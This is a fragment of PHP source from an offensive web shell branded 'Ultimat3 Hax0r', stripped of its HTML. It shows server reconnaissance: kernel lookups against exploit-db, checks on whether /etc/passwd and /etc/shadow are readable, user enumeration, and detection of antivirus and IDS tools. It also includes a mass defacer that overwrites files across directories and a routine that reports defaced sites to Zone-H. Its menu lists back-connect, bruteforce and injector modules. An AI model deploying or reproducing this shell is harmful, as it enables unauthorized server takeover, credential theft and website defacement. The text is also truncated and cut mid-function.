\r\n
";\r\n\t$freeSpace = @diskfreespace($GLOBALS[\'cwd\']);\r\n\t$totalSpace = @disk_total_space($GLOBALS[\'cwd\']);\r\n\t$totalSpace = $totalSpace?$totalSpace:1;\r\n\t$release = @php_uname(\'r\');\r\n\t$kernel = @php_uname(\'s\');\r\n\t$explink = \'http://exploit-db.com/search/?action=search&filter_description=\';\r\n\tif(strpos(\'Linux\', $kernel) !== false)\r\n\t\t$explink .= urlencode(\'Linux Kernel \' . substr($release,0,6));\r\n\telse\r\n\t\t$explink .= urlencode($kernel . \' \' . substr($release,0,3));\r\n\tif(!function_exists(\'posix_getegid\')) {\r\n\t\t$user = @get_current_user();\r\n\t\t$uid = @getmyuid();\r\n\t\t$gid = @getmygid();\r\n\t\t$group = "?";\r\n\t} else {\r\n\t\t$uid = @posix_getpwuid(posix_geteuid());\r\n\t\t$gid = @posix_getgrgid(posix_getegid());\r\n\t\t$user = $uid[\'name\'];\r\n\t\t$uid = $uid[\'uid\'];\r\n\t\t$group = $gid[\'name\'];\r\n\t\t$gid = $gid[\'gid\'];\r\n\t}\r\n\t$cwd_links = \'\';\r\n\t$path = explode("/", $GLOBALS[\'cwd\']);\r\n\t$n=count($path);\r\n\tfor($i=0; $i<$n-1; $i++) {\r\n\t\t$cwd_links .= "
".$path[$i]."/ ";\r\n\t}\r\n\t$charsets = array(\'UTF-8\', \'Windows-1251\', \'KOI8-R\', \'KOI8-U\', \'cp866\');\r\n $opt_charsets = \'\';\r\n foreach($charsets as $item)\r\n $opt_charsets .= \'
\'.$item.\' \';\r\n \r\n $m = array(\'Sec Info\'=>\'SecInfo\',\'Files\'=>\'FilesMan\',\'Exec\'=>\'Console\',\'Sql\'=>\'Sql\',\'Defacer\' => \'Deface\',\'Shells\'=>\'Shells\',\'Tools\'=> \'Tools\',\'Port Scanner\' => \'PortScanner\',\'Php\'=>\'Php\',\'Safe mode\'=>\'SafeMode\',\'String tools\'=>\'StringTools\',\'Bruteforce\'=>\'Bruteforce\',\'Back-Connect\'=>\'Network\',\'Injector\'=>\'Injector\',\'Domains\' => \'Domain\',\'Zone-h\' => \'ZHposter\',\'About Me\'=>\'About\');\r\n if(!empty($GLOBALS[\'auth_pass\']))\r\n $m[\'Logout\'] = \'Logout\';\r\n $m[\'Self remove\'] = \'SelfRemove\';\r\n $menu = \'\';\r\n foreach($m as $k => $v)\r\n $menu .= \'
[\'.$k.\' ] \';\r\n if($GLOBALS[\'os\'] == \'nix\') {\r\n $dominios = @file_get_contents("/etc/named.conf");\r\n if(!$dominios) {\r\n $DomainS = "/var/named";\r\n $Domainonserver = scandir($DomainS);\r\n $d0c = count($Domainonserver);\r\n } else {\r\n @preg_match_all(\'/.*?zone "(.*?)" {/\', $dominios, $out);\r\n $out = sizeof(array_unique($out[1]));\r\n $d0c = $out." Domains";\r\n }\r\n } else {\r\n $d0c = "None";\r\n }\r\n \r\n $drives = "";\r\n\tif($GLOBALS[\'os\'] == \'win\') {\r\n\t\tforeach(range(\'c\',\'z\') as $drive)\r\n\t\tif(is_dir($drive.\':\\\\\'))\r\n\t\t\t$drives .= \'
[ \'.$drive.\' ] \';\r\n\t}\r\n\techo \'
Uname: \' . substr(@php_uname(), 0, 120) . \' [exploit-db.com] Group: \' . $gid . \' ( \' . $group . \' )Safe mode: \' . ($GLOBALS[\'safe_mode\']?\'ON \':\'OFF [ phpinfo ] Datetime: \' . date(\'h:i:s d-m-Y\') . \'Free: \' . U7TiM4T3_H4x0RViewSize($freeSpace) . \' (\'. (int) ($freeSpace/$totalSpace*100) . \'%)[ home ] \' . $opt_charsets . \' Domains : \' .$d0c. \'Server IP: Client IP:
\'\r\n . \'
\';\r\n}\r\nfunction U7TiM4T3_H4x0RFooter() {\r\n\t$is_writable = is_writable($GLOBALS[\'cwd\'])?" (Writeable) ":" (Not writable) ";\r\n echo "\r\n
\r\n
\';\r\n\tfunction U7TiM4T3_H4x0RSecParam($n, $v) {\r\n\t\t$v = trim($v);\r\n\t\tif($v) {\r\n\t\t\techo \'
\' . $n . \': \';\r\n\t\t\tif(strpos($v, "\\n") === false)\r\n\t\t\t\techo $v . \'
\';\r\n\t\t\telse\r\n\t\t\t\techo \'
\' . $v . \' \';\r\n\t\t}\r\n\t}\r\n\tU7TiM4T3_H4x0RSecParam(\'Server software\', @getenv(\'SERVER_SOFTWARE\'));\r\n if(function_exists(\'apache_get_modules\'))\r\n U7TiM4T3_H4x0RSecParam(\'Loaded Apache modules\', implode(\', \', apache_get_modules()));\r\n\tU7TiM4T3_H4x0RSecParam(\'Disabled PHP Functions\', $GLOBALS[\'disable_functions\']?$GLOBALS[\'disable_functions\']:\'none\');\r\n\tU7TiM4T3_H4x0RSecParam(\'Open base dir\', @ini_get(\'open_basedir\'));\r\n\tU7TiM4T3_H4x0RSecParam(\'Safe mode exec dir\', @ini_get(\'safe_mode_exec_dir\'));\r\n\tU7TiM4T3_H4x0RSecParam(\'Safe mode include dir\', @ini_get(\'safe_mode_include_dir\'));\r\n\tU7TiM4T3_H4x0RSecParam(\'cURL support\', function_exists(\'curl_version\')?\'enabled\':\'no\');\r\n\t$temp=array();\r\n\tif(function_exists(\'mysql_get_client_info\'))\r\n\t\t$temp[] = "MySql (".mysql_get_client_info().")";\r\n\tif(function_exists(\'mssql_connect\'))\r\n\t\t$temp[] = "MSSQL";\r\n\tif(function_exists(\'pg_connect\'))\r\n\t\t$temp[] = "PostgreSQL";\r\n\tif(function_exists(\'oci_connect\'))\r\n\t\t$temp[] = "Oracle";\r\n\tU7TiM4T3_H4x0RSecParam(\'Supported databases\', implode(\', \', $temp));\r\n\techo \'
\';\r\n\tif($GLOBALS[\'os\'] == \'nix\') {\r\n U7TiM4T3_H4x0RSecParam(\'Readable /etc/passwd\', @is_readable(\'/etc/passwd\')?"yes
[view] ":\'no\');\r\n U7TiM4T3_H4x0RSecParam(\'Readable /etc/shadow\', @is_readable(\'/etc/shadow\')?"yes
[view] ":\'no\');\r\n U7TiM4T3_H4x0RSecParam(\'OS version\', @file_get_contents(\'/proc/version\'));\r\n U7TiM4T3_H4x0RSecParam(\'Distr name\', @file_get_contents(\'/etc/issue.net\'));\r\n if(!$GLOBALS[\'safe_mode\']) {\r\n $userful = array(\'gcc\',\'lcc\',\'cc\',\'ld\',\'make\',\'php\',\'perl\',\'python\',\'ruby\',\'tar\',\'gzip\',\'bzip\',\'bzip2\',\'nc\',\'locate\',\'suidperl\');\r\n $danger = array(\'kav\',\'nod32\',\'bdcored\',\'uvscan\',\'sav\',\'drwebd\',\'clamd\',\'rkhunter\',\'chkrootkit\',\'iptables\',\'ipfw\',\'tripwire\',\'shieldcc\',\'portsentry\',\'snort\',\'ossec\',\'lidsadm\',\'tcplodg\',\'sxid\',\'logcheck\',\'logwatch\',\'sysmask\',\'zmbscap\',\'sawmill\',\'wormscan\',\'ninja\');\r\n $downloaders = array(\'wget\',\'fetch\',\'lynx\',\'links\',\'curl\',\'get\',\'lwp-mirror\');\r\n echo \'
\';\r\n $temp=array();\r\n foreach ($userful as $item)\r\n if(U7TiM4T3_H4x0RWhich($item))\r\n $temp[] = $item;\r\n U7TiM4T3_H4x0RSecParam(\'Userful\', implode(\', \',$temp));\r\n $temp=array();\r\n foreach ($danger as $item)\r\n if(U7TiM4T3_H4x0RWhich($item))\r\n $temp[] = $item;\r\n U7TiM4T3_H4x0RSecParam(\'Danger\', implode(\', \',$temp));\r\n $temp=array();\r\n foreach ($downloaders as $item)\r\n if(U7TiM4T3_H4x0RWhich($item))\r\n $temp[] = $item;\r\n U7TiM4T3_H4x0RSecParam(\'Downloaders\', implode(\', \',$temp));\r\n echo \'
\';\r\n U7TiM4T3_H4x0RSecParam(\'HDD space\', U7TiM4T3_H4x0REx(\'df -h\'));\r\n U7TiM4T3_H4x0RSecParam(\'Hosts\', @file_get_contents(\'/etc/hosts\'));\r\n echo \'
posix_getpwuid ("Read" /etc/passwd) \';\r\n if (isset ($_POST[\'p2\'], $_POST[\'p3\']) && is_numeric($_POST[\'p2\']) && is_numeric($_POST[\'p3\'])) {\r\n $temp = "";\r\n for(;$_POST[\'p2\'] <= $_POST[\'p3\'];$_POST[\'p2\']++) {\r\n $uid = @posix_getpwuid($_POST[\'p2\']);\r\n if ($uid)\r\n $temp .= join(\':\',$uid)."\\n";\r\n }\r\n echo \'
\';\r\n U7TiM4T3_H4x0RSecParam(\'Users\', $temp);\r\n }\r\n }\r\n\t} else {\r\n\t\tU7TiM4T3_H4x0RSecParam(\'OS Version\',U7TiM4T3_H4x0REx(\'ver\'));\r\n\t\tU7TiM4T3_H4x0RSecParam(\'Account Settings\',U7TiM4T3_H4x0REx(\'net accounts\'));\r\n\t\tU7TiM4T3_H4x0RSecParam(\'User Accounts\',U7TiM4T3_H4x0REx(\'net user\'));\r\n\t}\r\n\techo \'
";\r\n?>\r\n\r\n
\r\n\r\n\r\n[+] Single user Mass defacer [+]
\r\n-----------------------------------------------
";\r\n $dir = opendir($mainpath); //fixme - cannot deface when change to writeable path!!\r\n while ($row = readdir($dir)) {\r\n $start = @fopen("$row/$file", "w");\r\n $code = $txtContents;\r\n $finish = @fwrite($start, $code);\r\n if ($finish) {\r\n echo "$row/$file > Done
";\r\n }\r\n }\r\n echo "-----------------------------------------------
[+] Script by Ultimat3 Hax0r [+]";\r\n }\r\n echo \'
\';\r\n echo \'\';\r\n echo "";\r\n if ($_POST[\'a\'] == \'ZHposter\') {\r\n ob_start();\r\n $sub = @get_loaded_extensions();\r\n if (!in_array("curl", $sub)) {\r\n die(\'[-] Curl Is Not Supported !! \');\r\n }\r\n $hacker9 = $_POST[\'p1\'];\r\n $method9 = $_POST[\'p2\'];\r\n $neden9 = $_POST[\'p3\'];\r\n $site9 = $_POST[\'p4\'];\r\n if (empty($hacker9)) {\r\n die("[-] You Must Fill the Attacker name !");\r\n } elseif ($method9 == "--------SELECT--------") {\r\n die("[-] You Must Select The Method !");\r\n } elseif ($neden9 == "--------SELECT--------") {\r\n die("[-] You Must Select The Reason");\r\n } elseif (empty($site9)) {\r\n die("[-] You Must Inter the Sites List ! ");\r\n }\r\n $i = 0;\r\n $sites = explode("\r\n", $site9);\r\n while ($i < count($sites)) {\r\n if (substr($sites[$i], 0, 4) != "http") {\r\n $sites[$i] = "http://" . $sites[$i];\r\n }\r\n ZoneH("http://zone-h.org/notify/single", $hacker9, $method9, $neden9, $sites[$i]);\r\n echo "Site : " . $sites[$i] . " Defaced ! ";\r\n ++$i;\r\n }\r\n echo "[+] Sending Sites To Zone-H Has Been Completed Successfully !! ";\r\n }\r\n echo \'
\';\r\n U7TiM4T3_H4x0RFooter();\r\n }\r\n\t\r\nfunction actionAbout() {\r\n\tU7TiM4T3_H4x0RHeader();\r\necho "\r\n\r\n